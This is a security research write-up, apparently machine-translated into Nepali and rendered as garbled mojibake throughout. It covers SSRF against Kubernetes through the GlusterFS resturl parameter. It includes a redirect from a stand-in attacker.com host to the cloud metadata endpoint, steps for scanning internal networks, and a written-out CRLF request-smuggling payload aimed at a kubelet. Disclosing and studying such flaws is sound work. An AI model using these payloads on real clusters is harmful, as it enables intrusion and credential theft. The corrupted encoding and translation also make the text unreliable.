рдпрд╕ рджреГрд╖реНрдЯрд┐рдХреЛрдгрдорд╛, рд╣рд╛рдореА рдЬрд╕реНрддрд╛ рдкреНрд░рд╢реНрдирд╣рд░реВрдорд╛ рд╕реАрдорд┐рдд рдерд┐рдпреМрдВ HTTP POST рд░ рдпрджрд┐ рд░рд┐рдЯрд░реНрди рдХреЛрдб рдерд┐рдпреЛ рднрдиреЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдирд┐рдХрд╛рдпрдХреЛ рд╕рд╛рдордЧреНрд░реАрд╣рд░реВ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рд╕рдХреЗрди 201ред рддрд╕рд░реНрде, рд╣рд╛рдореАрд▓реЗ рдердк рдЕрдиреБрд╕рдиреНрдзрд╛рди рдЧрд░реНрдиреЗ рдирд┐рд░реНрдгрдп рдЧрд░реНрдпреМрдВ рд░ рдпрд╕ рд╣реНрдпрд╛рдХрд┐рдЩ рдкрд░рд┐рджреГрд╢реНрдпрд▓рд╛рдИ рдирдпрд╛рдБ рджреГрд╖реНрдЯрд┐рдХреЛрдгрдХрд╛ рд╕рд╛рде рд╡рд┐рд╕реНрддрд╛рд░ рдЧрд░реНрдпреМрдВред

рд╣рд╛рдореНрд░реЛ рдЕрдиреБрд╕рдиреНрдзрд╛рди рдХреЛ рд╡рд┐рдХрд╛рд╕

  • рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #1: рдЖрдиреНрддрд░рд┐рдХ рдбрд╛рдЯрд╛ рд╕рдЩреНрдХрд▓рди рдЧрд░реНрди рдердк рд▓рдЪрд┐рд▓реЛ рддрд░рд┐рдХрд╛ рдкреНрд░рджрд╛рди рдЧрд░реНрди HTTP рд╡рд┐рдзрд┐ рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрди рдмрд╛рд╣реНрдп рд╕рд░реНрднрд░рдмрд╛рдЯ 302 рд░рд┐рдбрд┐рд░реЗрдХреНрдЯ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрджреИред
  • рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #2: рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд▓реНрдпрд╛рди рд╕реНрдХреНрдпрд╛рдирд┐рдЩ рд░ рдЖрдиреНрддрд░рд┐рдХ рд╕реНрд░реЛрдд рдЦреЛрдЬред
  • рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #3: рдЕрдиреБрдХреВрд▓ HTTP рдЕрдиреБрд░реЛрдзрд╣рд░реВ рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реНрди рд░ kube-рдирд┐рдпрдиреНрддреНрд░рдХ рд▓рдЧрд╣рд░реВрдмрд╛рдЯ рдирд┐рдХрд╛рд▓рд┐рдПрдХреЛ рдбреЗрдЯрд╛ рдкреБрди: рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди HTTP CRLF + рддрд╕реНрдХрд░реА ("рдЕрдиреБрд░реЛрдз рддрд╕реНрдХрд░реА") рдкреНрд░рдпреЛрдЧ рдЧрд░реНрджреИред

рдЯреЗрдХреНрдиреЛрд▓реЛрдЬреА рд╕реНрдкреЗрд╕рд┐рдлрд┐рдХреЗрд╢рди

  • рдЕрдиреБрд╕рдиреНрдзрд╛рдирд▓реЗ рдЙрддреНрддрд░реА рдпреБрд░реЛрдк рдХреНрд╖реЗрддреНрд░рдорд╛ Kubernetes рд╕рдВрд╕реНрдХрд░рдг 1.12 рд╕рдБрдЧ Azure Kubernetes Service (AKS) рдХреЛ рдкреНрд░рдпреЛрдЧ рдЧрд░реНтАНрдпреЛред
  • рдорд╛рдерд┐ рд╡рд░реНрдгрди рдЧрд░рд┐рдПрдХрд╛ рдкрд░рд┐рджреГрд╢реНрдпрд╣рд░реВ рддреЗрд╕реНрд░реЛ рдкрд░рд┐рджреГрд╢реНрдпрдХреЛ рдЕрдкрд╡рд╛рдж рдмрд╛рд╣реЗрдХ, рдХреБрдмрд░реНрдиреЗрдЯреНрд╕рдХреЛ рдкрдЫрд┐рд▓реНрд▓реЛ рд░рд┐рд▓реАрдЬрдорд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛ, рдХрд┐рдирднрдиреЗ рдЙрд╕рд▓рд╛рдИ Golang рд╕рдВрд╕реНрдХрд░рдг тЙд 1.12 рд╕рдВрдЧ рдирд┐рд░реНрдорд┐рдд Kubernetes рдЖрд╡рд╢реНрдпрдХ рдерд┐рдпреЛред
  • рдЖрдХреНрд░рдордгрдХрд╛рд░реАрдХреЛ рдмрд╛рд╣реНрдп рд╕рд░реНрднрд░ - https://attacker.com.

рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #1: GET рдорд╛ HTTP POST рдЕрдиреБрд░реЛрдз рдкреБрди: рдирд┐рд░реНрджреЗрд╢рд┐рдд рдЧрд░реНрджреИ рд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрджреИ

рдореВрд▓ рд╡рд┐рдзрд┐ рдлрд┐рд░реНрддрд╛ рдЧрд░реНрди рдЖрдХреНрд░рдордгрдХрд░реНрддрд╛рдХреЛ рд╕рд░реНрднрд░рдХреЛ рдХрдиреНрдлрд┐рдЧрд░реЗрд╕рдирджреНрд╡рд╛рд░рд╛ рд╕реБрдзрд╛рд░ рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛ 302 HTTP рд░рд┐рдХреЛрдбPOST рдЕрдиреБрд░реЛрдзрд▓рд╛рдИ GET рдЕрдиреБрд░реЛрдзрдорд╛ рд░реВрдкрд╛рдиреНрддрд░рдг рдЧрд░реНрди (рдЪрд┐рддреНрд░рдорд╛ рдЪрд░рдг 4):

рдЬрдм рдпреЛ Kubernetes рдХрдордЬреЛрд░реАрд╣рд░реВрдХреЛ рдмрд╛рд░реЗрдорд╛ рдорд╛рддреНрд░ рд╣реЛрдЗрди ...

рдкрд╣рд┐рд▓реЛ рдЕрдиреБрд░реЛрдз (3) рдЧреНрд░рд╛рд╣рдХрдмрд╛рдЯ рдЖрдЙрдБрджреИрдЫ GlusterFS (рдирд┐рдпрдиреНрддреНрд░рдХ рдкреНрд░рдмрдиреНрдзрдХ), рдПрдХ POST рдкреНрд░рдХрд╛рд░ рдЫред рдпреА рдЪрд░рдгрд╣рд░реВ рдкрдЫреНрдпрд╛рдПрд░ рд╣рд╛рдореАрд▓реЗ рдпрд╕рд▓рд╛рдИ GET рдорд╛ рдкрд░рд┐рдгрдд рдЧрд░реНрди рд╕рдХреНрд╖рдо рднрдпреМрдВ:

  • рдПрдХ рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░ рд░реВрдкрдорд╛ resturl StorageClass рдорд╛ рдпреЛ рд╕рдВрдХреЗрдд рдЧрд░рд┐рдПрдХреЛ рдЫ http://attacker.com/redirect.php.
  • рдЕрдиреНрддрдмрд┐рдиреНрджреБ https://attacker.com/redirect.php рдирд┐рдореНрди рд╕реНрдерд╛рди рд╣реЗрдбрд░рдХреЛ рд╕рд╛рде 302 HTTP рд╕реНрдерд┐рддрд┐ рдХреЛрдбрдХреЛ рд╕рд╛рде рдЬрд╡рд╛рдл рджрд┐рдиреНрдЫ: http://169.254.169.254ред рдпреЛ рдХреБрдиреИ рдкрдирд┐ рдЕрдиреНрдп рдЖрдиреНрддрд░рд┐рдХ рд╕реНрд░реЛрдд рд╣реБрди рд╕рдХреНрдЫ - рдпрд╕ рдЕрд╡рд╕реНрдерд╛рдорд╛, рд░рд┐рдбрд┐рд░реЗрдХреНрдЯ рд▓рд┐рдЩреНрдХ рдорд╛рддреНрд░ рдЙрджрд╛рд╣рд░рдгрдХреЛ рд░реВрдкрдорд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдиреНрдЫред
  • рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдиреЗрдЯ/http рдкреБрд╕реНрддрдХрд╛рд▓рдп Golang рд▓реЗ рдЕрдиреБрд░реЛрдзрд▓рд╛рдИ рд░рд┐рдбрд┐рд░реЗрдХреНрдЯ рдЧрд░реНрдЫ рд░ POST рд▓рд╛рдИ 302 рд╕реНрдЯреЗрдЯрд╕ рдХреЛрдбрдХреЛ рд╕рд╛рде GET рдорд╛ рд░реВрдкрд╛рдиреНрддрд░рдг рдЧрд░реНрдЫ, рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рд▓рдХреНрд╖реНрдп рд╕реНрд░реЛрддрдорд╛ HTTP GET рдЕрдиреБрд░реЛрдз рд╣реБрдиреНрдЫред

HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдкрдвреНрдирдХреЛ рд▓рд╛рдЧрд┐ рддрдкрд╛рдИрдВрд▓реЗ рдЧрд░реНрди рдЖрд╡рд╢реНрдпрдХ рдЫ describe PVC рд╡рд╕реНрддреБ:

kubectl describe pvc xxx

рдпрд╣рд╛рдБ JSON рдврд╛рдБрдЪрд╛рдорд╛ HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдХреЛ рдЙрджрд╛рд╣рд░рдг рдЫ рдЬреБрди рд╣рд╛рдореАрд▓реЗ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рд╕рдХреНрд╖рдо рдерд┐рдпреМрдВ:

рдЬрдм рдпреЛ Kubernetes рдХрдордЬреЛрд░реАрд╣рд░реВрдХреЛ рдмрд╛рд░реЗрдорд╛ рдорд╛рддреНрд░ рд╣реЛрдЗрди ...

рддреНрдпрд╕ рд╕рдордпрдорд╛ рдлреЗрд▓рд╛ рдкрд░реЗрдХреЛ рдЬреЛрдЦрд┐рдордХреЛ рдХреНрд╖рдорддрд╛рд╣рд░реВ рдирд┐рдореНрди рдмреБрдБрджрд╛рд╣рд░реВрдХреЛ рдХрд╛рд░рдгрд▓реЗ рд╕реАрдорд┐рдд рдерд┐рдП:

  • рдмрд╛рд╣рд┐рд░ рдЬрд╛рдиреЗ рдЕрдиреБрд░реЛрдзрдорд╛ HTTP рд╣реЗрдбрд░рд╣рд░реВ рд╕рдореНрдорд┐рд▓рд┐рдд рдЧрд░реНрди рдЕрд╕рдХреНрд╖рдорддрд╛ред
  • рд╢рд░реАрд░рдорд╛ рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рд╣рд░реВрд╕рдБрдЧ POST рдЕрдиреБрд░реЛрдз рдЧрд░реНрди рдЕрд╕рдХреНрд╖рдорддрд╛ (рдпреЛ рдЪрд▓рд┐рд░рд╣реЗрдХреЛ etcd рдЙрджрд╛рд╣рд░рдгрдмрд╛рдЯ рдХреБрдЮреНрдЬреА рдорд╛рди рдЕрдиреБрд░реЛрдз рдЧрд░реНрди рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдЫред 2379 рдпрджрд┐ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдирдЧрд░рд┐рдПрдХреЛ HTTP рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдПрдХреЛ рдЫ рднрдиреЗ рдкреЛрд░реНрдЯ)ред
  • рд╕реНрдерд┐рддрд┐ рдХреЛрдб 200 рднрдПрдХреЛ рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдорд╛ JSON рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рдирднрдПрдХреЛ рдмреЗрд▓рд╛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореБрдЦреНрдп рд╕рд╛рдордЧреНрд░реА рдкреБрди: рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рдЕрд╕рдХреНрд╖рдорддрд╛ред

рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #2: рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдХреНрдпрд╛рди рдЧрд░реНрджреИ

рдпреЛ рдЕрд░реНрдз-рдЕрдиреНрдзреЛ SSRF рд╡рд┐рдзрд┐ рддреНрдпрд╕рдкрдЫрд┐ рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рдпрдХрдХреЛ рдЖрдиреНрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдХреНрдпрд╛рди рдЧрд░реНрди рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рд╣рд░реВрдХреЛ рдЖрдзрд╛рд░рдорд╛ рд╡рд┐рднрд┐рдиреНрди рд╕реБрдиреНрдиреЗ рд╕реЗрд╡рд╛рд╣рд░реВ (рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдЙрджрд╛рд╣рд░рдг, рдХреБрдмреЗрд▓реЗрдЯ, рдЗрддреНрдпрд╛рджрд┐, рдЖрджрд┐) рдкреЛрд▓ рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдпреЛред kube рдирд┐рдпрдиреНрддреНрд░рдХ.

рдЬрдм рдпреЛ Kubernetes рдХрдордЬреЛрд░реАрд╣рд░реВрдХреЛ рдмрд╛рд░реЗрдорд╛ рдорд╛рддреНрд░ рд╣реЛрдЗрди ...

рдкрд╣рд┐рд▓реЗ, Kubernetes рдХрдореНрдкреЛрдиреЗрдиреНрдЯрд╣рд░реВрдХреЛ рдорд╛рдирдХ рд╕реБрдиреНрдиреЗ рдкреЛрд░реНрдЯрд╣рд░реВ рдирд┐рд░реНрдзрд╛рд░рдг рдЧрд░рд┐рдпреЛ (8443, 10250, 10251, рдЖрджрд┐), рд░ рддреНрдпрд╕рдкрдЫрд┐ рд╣рд╛рдореАрд▓реЗ рд╕реНрдХреНрдпрд╛рдирд┐рдЩ рдкреНрд░рдХреНрд░рд┐рдпрд╛рд▓рд╛рдИ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЧрд░реНрдиреБрдкрд░реНтАНрдпреЛред

рд╕реНрд░реЛрддрд╣рд░реВ рд╕реНрдХреНрдпрд╛рди рдЧрд░реНрдиреЗ рдпреЛ рд╡рд┐рдзрд┐ рдзреЗрд░реИ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЫ рд░ рдХреНрд▓рд╛рд╕рд┐рдХ рд╕реНрдХреНрдпрд╛рдирд░рд╣рд░реВ рд░ SSRF рдЙрдкрдХрд░рдгрд╣рд░реВрд╕рдБрдЧ рдорд┐рд▓реНрджреЛ рдЫреИрди рднрдиреЗрд░ рджреЗрдЦреЗрд░, рд╣рд╛рдореАрд▓реЗ рд╕рдореНрдкреВрд░реНрдг рдкреНрд░рдХреНрд░рд┐рдпрд╛рд▓рд╛рдИ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЧрд░реНрдиреЗ рдмрд╛рд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯрдорд╛ рд╣рд╛рдореНрд░рд╛ рдЖрдлреНрдиреИ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛рд╣рд░реВ рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реНрдиреЗ рдирд┐рд░реНрдгрдп рдЧрд░реНрдпреМрдВред

рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, рдЖрдиреНрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХрдХреЛ рджрд╛рдпрд░рд╛ 172.16.0.0/12 рджреНрд░реБрдд рд░реВрдкрдорд╛ рд╕реНрдХреНрдпрд╛рди рдЧрд░реНрди, 15 рдХрд╛рдорджрд╛рд░рд╣рд░реВ рд╕рдорд╛рдирд╛рдиреНрддрд░ рд░реВрдкрдорд╛ рд╕реБрд░реВ рдЧрд░рд┐рдпреЛред рдорд╛рдерд┐рдХреЛ IP рджрд╛рдпрд░рд╛рд▓рд╛рдИ рдЙрджрд╛рд╣рд░рдгрдХреЛ рд░реВрдкрдорд╛ рдорд╛рддреНрд░ рдЪрдпрди рдЧрд░рд┐рдПрдХреЛ рдЫ рд░ рддрдкрд╛рдИрдВрдХреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рдпрдХрдХреЛ IP рджрд╛рдпрд░рд╛рдорд╛ рдкрд░рд┐рд╡рд░реНрддрди рд╣реБрди рд╕рдХреНрдЫред

рдПрдЙрдЯрд╛ IP рдареЗрдЧрд╛рдирд╛ рд░ рдПрдЙрдЯрд╛ рдкреЛрд░реНрдЯ рд╕реНрдХреНрдпрд╛рди рдЧрд░реНрди, рддрдкрд╛рдИрдВрд▓реЗ рдирд┐рдореНрди рдЧрд░реНрди рдЖрд╡рд╢реНрдпрдХ рдЫ:

  • рдЕрдиреНрддрд┐рдо рдЬрд╛рдБрдЪ рдЧрд░рд┐рдПрдХреЛ StorageClass рдореЗрдЯрд╛рдЙрдиреБрд╣реЛрд╕реН;
  • рдЕрдШрд┐рд▓реНрд▓реЛ рдкреНрд░рдорд╛рдгрд┐рдд рдирд┐рд░рдиреНрддрд░ рднреЛрд▓реНрдпреБрдо рджрд╛рд╡реА рд╣рдЯрд╛рдЙрдиреБрд╣реЛрд╕реН;
  • рдЖрдИрдкреА тАЛтАЛрд░ рдкреЛрд░реНрдЯ рдорд╛рдирд╣рд░реВ рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрдиреБрд╣реЛрд╕реН sc.yaml;
  • рдирдпрд╛рдБ рдЖрдИрдкреА рд░ рдкреЛрд░реНрдЯрдХреЛ рд╕рд╛рде рд╕реНрдЯреЛрд░реЗрдЬ рдХреНрд▓рд╛рд╕ рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реНрдиреБрд╣реЛрд╕реН;
  • рдирдпрд╛рдБ рдкреАрд╡реАрд╕реА рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реНрдиреБрд╣реЛрд╕реН;
  • PVC рдХреЛ рд▓рд╛рдЧрд┐ рд╡рд░реНрдгрди рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рд╕реНрдХреНрдпрд╛рди рдкрд░рд┐рдгрд╛рдорд╣рд░реВ рдирд┐рдХрд╛рд▓реНрдиреБрд╣реЛрд╕реНред

рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #3: CRLF рдЗрдВрдЬреЗрдХреНрд╢рди + Kubernetes рдХреНрд▓рд╕реНрдЯрд░рдХреЛ "рдкреБрд░рд╛рдиреЛ" рд╕рдВрд╕реНрдХрд░рдгрд╣рд░реВрдорд╛ HTTP рддрд╕реНрдХрд░реА

рдпрджрд┐ рдпрд╕рдХрд╛ рдЕрддрд┐рд░рд┐рдХреНрдд рдкреНрд░рджрд╛рдпрдХрд▓реЗ рдЧреНрд░рд╛рд╣рдХрд╣рд░реВрд▓рд╛рдИ K8s рдХреНрд▓рд╕реНрдЯрд░рдХреЛ рдкреБрд░рд╛рдиреЛ рд╕рдВрд╕реНрдХрд░рдгрд╣рд░реВ рдкреНрд░рд╕реНрддрд╛рд╡ рдЧрд░реНрдпреЛ ╨╕ рддрд┐рдиреАрд╣рд░реВрд▓рд╛рдИ kube-controller-manager рдХреЛ рд▓рдЧрд╣рд░реВрдорд╛ рдкрд╣реБрдБрдЪ рджрд┐рдпреЛ, рдкреНрд░рднрд╛рд╡ рдЕрдЭ рдорд╣рддреНрддреНрд╡рдкреВрд░реНрдг рднрдпреЛред

рдпреЛ рд╡рд╛рд╕реНрддрд╡рдорд╛ рдПрдХ рдЖрдХреНрд░рдордгрдХрд╛рд░реАрдХреЛ рд▓рд╛рдЧрд┐ HTTP рдЕрдиреБрд░реЛрдзрд╣рд░реВ рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐ рдзреЗрд░реИ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдЫ рдЬреБрди рдЙрд╕рдХреЛ рд╡рд┐рд╡реЗрдХрдорд╛ рдкреВрд░реНрдг HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рдбрд┐рдЬрд╛рдЗрди рдЧрд░рд┐рдПрдХреЛ рдЫред

рдЬрдм рдпреЛ Kubernetes рдХрдордЬреЛрд░реАрд╣рд░реВрдХреЛ рдмрд╛рд░реЗрдорд╛ рдорд╛рддреНрд░ рд╣реЛрдЗрди ...

рдЕрдиреНрддрд┐рдо рдкрд░рд┐рджреГрд╢реНрдп рд▓рд╛рдЧреВ рдЧрд░реНрди, рдирд┐рдореНрди рд╕рд░реНрддрд╣рд░реВ рдкреВрд░рд╛ рдЧрд░реНрди рдЖрд╡рд╢реНрдпрдХ рдерд┐рдпреЛ:

  • рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд╕рдБрдЧ kube-controller-manager рд▓рдЧрд╣рд░реВрдорд╛ рдкрд╣реБрдБрдЪ рд╣реБрдиреБрдкрд░реНрдЫ (рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, Azure LogInsights рдорд╛)ред
  • Kubernetes рдХреНрд▓рд╕реНрдЯрд░рд▓реЗ 1.12 рднрдиреНрджрд╛ рдХрдо Golang рдХреЛ рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдиреБрдкрд░реНрдЫред

рд╣рд╛рдореАрд▓реЗ GlusterFS Go рдХреНрд▓рд╛рдЗрдиреНрдЯ рд░ рдирдХреНрдХрд▓реА рд▓рдХреНрд╖реНрдп рд╕рд░реНрднрд░ (рд╣рд╛рдореА рдЕрд╣рд┐рд▓реЗрдХреЛ рд▓рд╛рдЧрд┐ PoC рдкреНрд░рдХрд╛рд╢рд┐рдд рдЧрд░реНрдирдмрд╛рдЯ рдЯрд╛рдврд╛ рд░рд╣рдиреЗрдЫреМрдВ) рдмреАрдЪрдХреЛ рд╕рдВрдЪрд╛рд░рд▓рд╛рдИ рдирдХреНрдХрд▓ рдЧрд░реНрдиреЗ рд╕реНрдерд╛рдиреАрдп рд╡рд╛рддрд╛рд╡рд░рдг рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдпреМрдВред

рдлреЗрд▓рд╛ рдкрд░реЗрдХреЛ рдерд┐рдпреЛ рдХрдордЬреЛрд░реА, 1.12 рднрдиреНрджрд╛ рдХрдо Golang рд╕рдВрд╕реНрдХрд░рдгрд╣рд░реВрд▓рд╛рдИ рдЕрд╕рд░ рдЧрд░реНрджреИ рд░ рд╣реНрдпрд╛рдХрд░рд╣рд░реВрд▓рд╛рдИ HTTP рддрд╕реНрдХрд░реА/CRLF рдЖрдХреНрд░рдордгрд╣рд░реВ рдЧрд░реНрди рдЕрдиреБрдорддрд┐ рджрд┐рдБрджреИред

рдорд╛рдерд┐ рд╡рд░реНрдгрди рдЧрд░рд┐рдПрдХреЛ рдЕрд░реНрдз-рдЕрдиреНрдзреЛ SSRF рдХреЛ рд╕рдВрдпреЛрдЬрди рдЧрд░реЗрд░ рдПрдХ рд╕рд╛рде рдпрд╕рдХрд╛ рд╕рд╛рде, рд╣рд╛рдореАрд▓реЗ рд╣реЗрдбрд░рд╣рд░реВ, HTTP рд╡рд┐рдзрд┐, рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рд╣рд░реВ рд░ рдбреЗрдЯрд╛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рдЧрд░реНрдиреЗ, рдЬреБрди kube-controller-manager рддреНрдпрд╕рдкрдЫрд┐ рдкреНрд░рд╢реЛрдзрди рдЧрд░реНрдиреЗ рд╕рд╣рд┐рдд рд╣рд╛рдореНрд░реЛ рдордирдкрд░реНрдиреЗ рдЕрдиреБрд░реЛрдзрд╣рд░реВ рдкрдард╛рдЙрди рд╕рдХреНрд╖рдо рднрдпреМрдВред

рдпрд╣рд╛рдБ рдПрдХ рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░ рдорд╛ рдХрд╛рдо "рдЪрд╛рд░рд╛" рдХреЛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдЫ resturl StorageClass, рдЬрд╕рд▓реЗ рд╕рдорд╛рди рдЖрдХреНрд░рдордг рдкрд░рд┐рджреГрд╢реНрдп рд▓рд╛рдЧреВ рдЧрд░реНрджрдЫ:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

рдкрд░рд┐рдгрд╛рдо рддреНрд░реБрдЯрд┐ рд╣реЛ рдЕрд╡рд╛рдВрдЫрд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛, рдПрдЙрдЯрд╛ рд╕рдиреНрджреЗрд╢ рдЬрд╕рдХреЛ рдмрд╛рд░реЗрдорд╛ рдирд┐рдпрдиреНрддреНрд░рдХ рд▓рдЧрд╣рд░реВрдорд╛ рд░реЗрдХрд░реНрдб рдЧрд░рд┐рдПрдХреЛ рдЫред рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рд░реВрдкрдорд╛ рд╕рдХреНрд╖рдо рдкрд╛рд░рд┐рд╢реНрд░рдорд┐рдХрдХреЛ рд▓рд╛рдЧрд┐ рдзрдиреНрдпрд╡рд╛рдж, HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕рдиреНрджреЗрд╢рдХреЛ рд╕рд╛рдордЧреНрд░реАрд╣рд░реВ рдкрдирд┐ рддреНрдпрд╣рд╛рдБ рд╕реБрд░рдХреНрд╖рд┐рдд рдЫрдиреНред

рдЬрдм рдпреЛ Kubernetes рдХрдордЬреЛрд░реАрд╣рд░реВрдХреЛ рдмрд╛рд░реЗрдорд╛ рдорд╛рддреНрд░ рд╣реЛрдЗрди ...

рдпреЛ рдЕрд╡рдзрд╛рд░рдгрд╛ рдХреЛ рдкреНрд░рдорд╛рдг рдХреЛ рд░реВрдкрд░реЗрдЦрд╛ рднрд┐рддреНрд░ рд╣рд╛рдореНрд░реЛ рд╕рдмреИрднрдиреНрджрд╛ рдкреНрд░рднрд╛рд╡рдХрд╛рд░реА "рдЪрд╛рд░рд╛" рдерд┐рдпреЛред

рдпреЛ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░, рд╣рд╛рдореАрд▓реЗ рд╡рд┐рднрд┐рдиреНрди рд╡реНрдпрд╡рд╕реНрдерд┐рдд k8s рдкреНрд░рджрд╛рдпрдХрд╣рд░реВрдХреЛ рдХреНрд▓рд╕реНрдЯрд░рд╣рд░реВрдорд╛ рдирд┐рдореНрди рдХреЗрд╣реА рдЖрдХреНрд░рдордгрд╣рд░реВ рдЧрд░реНрди рд╕рдХреНрд╖рдо рдерд┐рдпреМрдВ: рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдЙрджрд╛рд╣рд░рдгрд╣рд░реВрдорд╛ рдкреНрд░рдорд╛рдгрд╣рд░реВрдХреЛ рд╕рд╛рде рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐, etcd рдорд╛рд╕реНрдЯрд░ рдЙрджрд╛рд╣рд░рдгрд╣рд░реВрдорд╛ HTTP рдЕрдиреБрд░реЛрдзрд╣рд░реВ (рдЕрдирдЗрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб) тАЛтАЛрдорд╛рд░реНрдлрдд рдорд╛рд╕реНрдЯрд░ DoS, рдЖрджрд┐ред

рдкрд░рд┐рдгрд╛рдорд╣рд░реВ

рд╣рд╛рдореАрд▓реЗ рдкрддреНрддрд╛ рд▓рдЧрд╛рдПрдХреЛ SSRF рдЬреЛрдЦрд┐рдордХреЛ рдмрд╛рд░реЗрдорд╛ Kubernetes рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рдХрдердирдорд╛, рдпрд╕рд▓рд╛рдИ рдореВрд▓реНрдпрд╛рдЩреНрдХрди рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛ CVSS рем.рей/резреж: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:Nред рдпрджрд┐ рд╣рд╛рдореАрд▓реЗ Kubernetes рдкрд░рд┐рдзрд┐, рдЕрдЦрдгреНрдбрддрд╛ рднреЗрдХреНрдЯрд░рд╕рдБрдЧ рд╕рдореНрдмрдиреНрдзрд┐рдд рдЬреЛрдЦрд┐рдорд▓рд╛рдИ рдорд╛рддреНрд░ рд╡рд┐рдЪрд╛рд░ рдЧрд░реНрдЫреМрдВ (рдЕрдЦрдВрдбрддрд╛ рд╡реЗрдХреНрдЯрд░) рдХреЛ рд░реВрдкрдорд╛ рдпреЛрдЧреНрдп рд╣реБрдиреНрдЫ рдХреБрдиреИ рдкрдирд┐.

